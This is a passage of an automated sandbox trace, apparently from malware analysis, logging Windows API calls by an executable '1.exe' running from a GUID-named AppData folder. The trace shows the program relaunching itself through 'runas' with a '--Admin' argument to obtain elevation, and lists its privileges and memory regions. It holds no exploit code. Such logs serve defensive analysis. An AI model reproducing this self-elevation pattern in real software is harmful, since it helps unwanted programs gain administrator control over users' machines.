2\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x52\xb4\xcd\x53\x28\xfe\x38", lpUsedDefaultChar=0x0) returned 256 [0059.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x38fcec, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x38fcec, cbMultiByte=256, lpWideCharStr=0x38f448, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0059.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.124] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x38f238, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0059.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x38faec, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x52\xb4\xcd\x53\x28\xfe\x38", lpUsedDefaultChar=0x0) returned 256 [0059.124] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3b6cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe")) returned 0x56 [0059.124] RtlInitializeSListHead (in: ListHead=0x3b6bd8 | out: ListHead=0x3b6bd8) [0059.124] GetLastError () returned 0x0 [0059.125] SetLastError (dwErrCode=0x0) [0059.125] GetEnvironmentStringsW () returned 0x7d62f0* [0059.125] FreeEnvironmentStringsW (penv=0x7d62f0) returned 1 [0059.126] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.126] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x3a2ae4) returned 0x0 [0059.126] GetStartupInfoW (in: lpStartupInfo=0x38fe58 | out: lpStartupInfo=0x38fe58*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0059.126] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" " [0059.126] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" ", pNumArgs=0x38ee60 | out: pNumArgs=0x38ee60) returned 0x7d7388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" [0059.127] lstrcpyW (in: lpString1=0x38ee80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" [0059.127] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned 1 [0059.127] lstrcpyW (in: lpString1=0x38f680, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0059.127] ShellExecuteExW (in: pExecInfo=0x38ee08*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x38ee08*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0059.356] GetModuleHandleW (lpModuleName=0x0) returned 0x3a0000 [0059.356] GetModuleHandleW (lpModuleName=0x0) returned 0x3a0000 [0059.356] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.356] GetLastError () returned 0x57 [0059.356] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x38fe4c | out: phModule=0x38fe4c) returned 0 [0059.356] ExitProcess (uExitCode=0x0) Thread: id = 45 os_tid = 0x9d8 Thread: id = 46 os_tid = 0x9dc Thread: id = 47 os_tid = 0x9e0 Thread: id = 48 os_tid = 0x9e4 Process: id = "9" image_name = "1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" page_root = "0x20dd1000" os_pid = "0x9e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x9cc" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 819 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 820 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 821 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 822 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 823 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 824 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 825 start_va = 0x3a0000 end_va = 0x3d1fff entry_point = 0x3a0000 region_type = mapped_file name = "1.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\1.exe") Region: id = 826 start_va = 0x480000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 827 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 828 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 829 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 830 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 831 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 832 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 833 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 834 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 835 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 836 start_va = 0x2b0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 837 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 838 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 839 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 840 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 841 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 842 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 843 start_va = 0x6c0000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 844 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 845 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 846 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 847 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 848 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 849 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 850 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 851 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 852 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 853 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 854 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 855 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 856 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 857 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 858 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 859 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 860 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 861 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 862 start_va = 0x7c0000 end_va = 0x947fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 863 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 864 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 865 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 866 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 867 start_va = 0x950000 end_va = 0xad0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 868 start_va = 0xae0000 end_va = 0x1edffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 869 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 870 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 871 start_va = 0x1ee0000 end_va = 0x21aefff entry_point = 0x1ee0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 49 os_tid = 0x9ec [0059.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x57f7b4 | out: lpSystemTimeAsFileTime=0x57f7b4*(dwLowDateTime=0xa5775910, dwHighDateTime=0x1d4800f)) [0059.431] GetCurrentThreadId () returned 0x9ec [0059.432] GetCurrentProcessId () returned 0x9e8 [0059.432] QueryPerformanceCounter (in: lpPerformanceCount=0x57f7ac | out: lpPerformanceCount=0x57f7ac*=1812362700000) returned 1 [0059.432] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.432] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.432] GetLastError () returned 0x57 [0059.432] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.432] GetLastError () returned 0x57 [0059.432] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0059.434] 